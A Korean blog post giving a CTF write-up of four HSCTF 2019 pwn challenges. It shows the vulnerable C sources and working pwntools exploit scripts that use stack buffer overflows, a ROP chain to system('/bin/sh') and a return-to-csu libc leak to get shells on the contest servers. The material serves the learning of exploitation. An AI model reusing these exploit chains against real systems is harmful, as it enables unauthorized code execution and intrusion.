시작
안녕하세요 :D
미국에서 학생들을 대상으로 열린 HSCTF 2019에 참가해 보았습니다!!
pwn 문제만 풀어봤는데, 딱 제 수준인 것 같아서 4개나 풀 수 있었어요!! ㅋㅋㅋㅋㅋ
물론 힙 + 카나리 걸려있는 친구들은 손도 못 댔지만..
4문제 Write UP 시작하겠습니다!!
Write UP
Intro to Netcat
뭐라뭐라 많이 써있길래 당황했는데, 그냥 nc로 서버 접속하면 풀리는 문제였어요.
root@goorm:/tmp/HSCTF/intro_to_netcat# nc misc.hsctf.com 1111
Hey, here's your flag! hsctf{internet_cats}
Flag : hsctf{internet_cats}
Return to Sender
친절하게 c 파일까지 주네요
root@goorm:/tmp/HSCTF/return_to_sender# cat return-to-sender.c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void win() {
system("/bin/sh");
}
void vuln() {
char dest[8];
printf("Where are you sending your mail to today? ");
gets(dest);
printf("Alright, to %s it goes!\n", dest);
}
int main() {
setbuf(stdout, NULL);
gid_t gid = getegid();
setresgid(gid,gid,gid);
vuln();
return 0;
}
32 bit 바이너리 파일입니다!
실행 안 해봐도 대충 vuln()
의 gets()
에서 터지겠네요.
SFP 까지 덮은 후 RET을 win()
으로 돌리면 되겠습니다.
from pwn import *
p = remote("misc.hsctf.com", 1234)
#p = process("./return-to-sender")
binsh = 0x80491b6
payload = ""
payload += "A" * 20
payload += p32(binsh)
p.recvuntil("?")
p.send(payload)
p.interactive()
$ cat flag
hsctf{fedex_dont_fail_me_now}
Flag : hsctf{fedex_dont_fail_me_now}
Combo Chain Lite
c와 바이너리 파일을 줍니다.
root@goorm:/tmp/HSCTF/combo_chain_lite# cat combo-chain-lite.c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void vuln() {
char dest[8];
printf("Here's your free computer: %p\n", system);
printf("Dude you hear about that new game called /bin/sh");
printf("? Enter the right combo for some COMBO CARNAGE!: ");
gets(dest);
}
int main() {
setbuf(stdout, NULL);
gid_t gid = getegid();
setresgid(gid,gid,gid);
vuln();
return 0;
}
마찬가지로 vuln()
의 gets()
에서 터집니다.
free computer라며 system의 주소를 주니, 이걸 그대로 받아서 pop rdi -> /bin/sh -> system 하면 되겠네요.
from pwn import *
#context.log_level = "debug"
#p = process("./combo-chain-lite")
p = remote("pwn.hsctf.com", 3131)
pop_rdi = 0x401273
binsh = 0x402051
payload = ""
p.recvuntil(": ")
libc_system = p.recv(14)
libc_system = int(libc_system, 16)
print hex(libc_system)
payload += "A" * 16
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(libc_system)
p.sendline(payload)
p.interactive()
$ cat flag
hsctf{wheeeeeee_that_was_fun}
Flag : hsctf{wheeeeeee_that_was_fun}
Storytime
c 파일 없이 바이너리만 딸려옵니다.
솔직히 이 문제.. 억지로 푼 것 같은 느낌이 강해서 롸업을 쓸까 말까 하다가
어쨌든 푼 문제기 때문에 ㅎㅎㅎ.. 이렇게도 풀 수 있다!! 는 느낌으로 써봅니다.
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x0000000000400478 _init
0x00000000004004a0 write@plt
0x00000000004004b0 read@plt
0x00000000004004c0 setvbuf@plt
0x00000000004004d0 _start
0x0000000000400500 _dl_relocate_static_pie
0x0000000000400510 deregister_tm_clones
0x0000000000400540 register_tm_clones
0x0000000000400580 __do_global_dtors_aux
0x00000000004005b0 frame_dummy
0x00000000004005b7 beginning
0x00000000004005d4 middle
0x00000000004005f1 end
0x000000000040060e climax
0x000000000040062e main
0x00000000004006a0 __libc_csu_init
0x0000000000400710 __libc_csu_fini
0x0000000000400714 _fini
beginning, middle, end, climax, main이 정의되어 있습니다.
처음 봤을 땐 저 함수들을 다 사용해서 스택을 조작, exploit 하겠구나 싶었는데
굳이 그럴 필요가 있을까.. 란 생각이 들었습니다.
gdb-peda$ pd main
Dump of assembler code for function main:
0x000000000040062e <+0>: push rbp
0x000000000040062f <+1>: mov rbp,rsp
0x0000000000400632 <+4>: sub rsp,0x30
0x0000000000400636 <+8>: mov rax,QWORD PTR [rip+0x200a03] # 0x601040 <stdout@@GLIBC_2.2.5>
0x000000000040063d <+15>: mov ecx,0x0
0x0000000000400642 <+20>: mov edx,0x2
0x0000000000400647 <+25>: mov esi,0x0
0x000000000040064c <+30>: mov rdi,rax
0x000000000040064f <+33>: call 0x4004c0 <setvbuf@plt>
0x0000000000400654 <+38>: mov edx,0x1d
0x0000000000400659 <+43>: lea rsi,[rip+0x10b] # 0x40076b
0x0000000000400660 <+50>: mov edi,0x1
0x0000000000400665 <+55>: call 0x4004a0 <write@plt>
0x000000000040066a <+60>: mov edx,0x12
0x000000000040066f <+65>: lea rsi,[rip+0x113] # 0x400789
0x0000000000400676 <+72>: mov edi,0x1
0x000000000040067b <+77>: call 0x4004a0 <write@plt>
0x0000000000400680 <+82>: lea rax,[rbp-0x30]
0x0000000000400684 <+86>: mov edx,0x190
0x0000000000400689 <+91>: mov rsi,rax
0x000000000040068c <+94>: mov edi,0x0
0x0000000000400691 <+99>: call 0x4004b0 <read@plt>
0x0000000000400696 <+104>: mov eax,0x0
0x000000000040069b <+109>: leave
0x000000000040069c <+110>: ret
End of assembler dump.
이 main 함수 때문인데요.
제작자의 의도는 climax 함수에서 일어나는 overflow로 무언갈 해주길 바랬을텐데 이미 main에서도 충분한 크기의 overflow가 발생합니다.
0x190 bytes면 페이로드에 충분한 크기니까요 ㅎㅎ
가젯은 rdi, rsi밖에 없었습니다. 때문에 RET를 csu 영역으로 돌려서 메모리를 leak, system을 호출했습니다.
저번 DefCon, Facebook CTF 때 return to csu를 유용하게 써먹었기 때문에 가젯이 없는 걸 보자마자 떠올렸어요
from pwn import *
p = remote("pwn.hsctf.com", 3333)
#e = ELF("./storytime")
#l = e.libc
#p = process("./storytime")
#context.log_level = "debug"
csu0 = 0x4006f6
csu1 = 0x4006e0
read_got = 0x601020
write_got = 0x601018
bss = 0x601040
offset = 0x2ab40
payload = ""
p.recvuntil(": \n")
payload += "A" * 56
payload += p64(csu0)
payload += "B" * 8
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(1)
payload += p64(write_got)
payload += p64(8)
payload += p64(csu1)
payload += "B" * 8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(bss)
payload += p64(len("/bin/sh\x00"))
payload += p64(csu1)
payload += "B" * 8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(write_got)
payload += p64(8)
payload += p64(csu1)
payload += "B" * 8
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(bss)
payload += p64(0)
payload += p64(0)
payload += p64(csu1)
p.send(payload)
libc_write = u64(p.recv(8).ljust(8, "\x00"))
#libc_start = libc_write - l.symbols["write"]
libc_execve = libc_write - offset
print "libc_write = " + hex(libc_write)
#print "libc_start = " + hex(libc_start)
print "libc_execve = " + hex(libc_execve)
p.send("/bin/sh\x00")
p.send(p64(libc_execve))
p.interactive()
이 문제 풀면서 얻은 것이 있습니다.
libc가 주어지지 않았을 때 어떻게 offset을 구하냐?? 였는데요.
libc-database 라는 툴을 사용해서 서버에서 사용된 libc를 알아낼 수 있었습니다.
root@goorm:/tmp/HSCTF/Storytime# ./exploit.py
[+] Opening connection to pwn.hsctf.com on port 3333: Done
libc_write = 0x7efe38da82b0
libc_execve = 0x7efe38d7d770
다음과 같이 libc_write를 leak 했을 때, 하위 12비트인 0x2b0을 통해 libc의 정보를 얻어오는 툴입니다.
root@goorm:/tmp/HSCTF/Storytime# /tmp/libc-database/./find write 2b0
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
root@goorm:/tmp/HSCTF/Storytime# /tmp/libc-database/./dump libc6_2.23-0ubuntu11_amd64
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7970
offset_read = 0x00000000000f7250
offset_write = 0x00000000000f72b0
offset_str_bin_sh = 0x18cd57
이렇게 바로 뽑아줍니다. 신기하네요 ㄷㄷ..
라이브러리가 주어지지 않았을 때 자주 사용할 것 같습니다!!
쨋든 제작자의 의도와는 다르게!! return to csu와 libc-database를 활용하여 문제를 풀 수 있었어요 :D
아아 궁금한 부분이 하나 있었는데 system을 쓰면 쉘이 안 따지고 execve를 쓰면 쉘이 따지더라구요.
다른 문제에선 잘 됐는데.. 왜 이건 execve만 먹히는지 더 파봐야 될 것 같습니당
$ cat flag
hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}
Flag : hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}
마무리
처음으로 서버에 익스를 때려본 대회였습니다. Flag 먹어본 것도 처음이구요 ㅎㅎ
카나리랑 힙 공부를 더 해야될 것 같습니다. malloc이랑 free만 봐도 풀기가 겁나네요ㅠㅠㅠ
9일부터 또 CTF 있습니다!! 무려 for beginner래요.. 이건 해야돼..
감사합니다 :D
'CTF_Write_UP' 카테고리의 다른 글
[DefCon 2016] Feed Me (0) | 2019.06.14 |
---|---|
[Pico CTF 2013] ROP3 (0) | 2019.06.12 |
[2017 CSAW CTF] pilot (0) | 2019.05.30 |
[Codegate 2018] BaskinRobins31 (0) | 2019.05.27 |
[2019 DefCon Quals] speedrun-002 (0) | 2019.05.25 |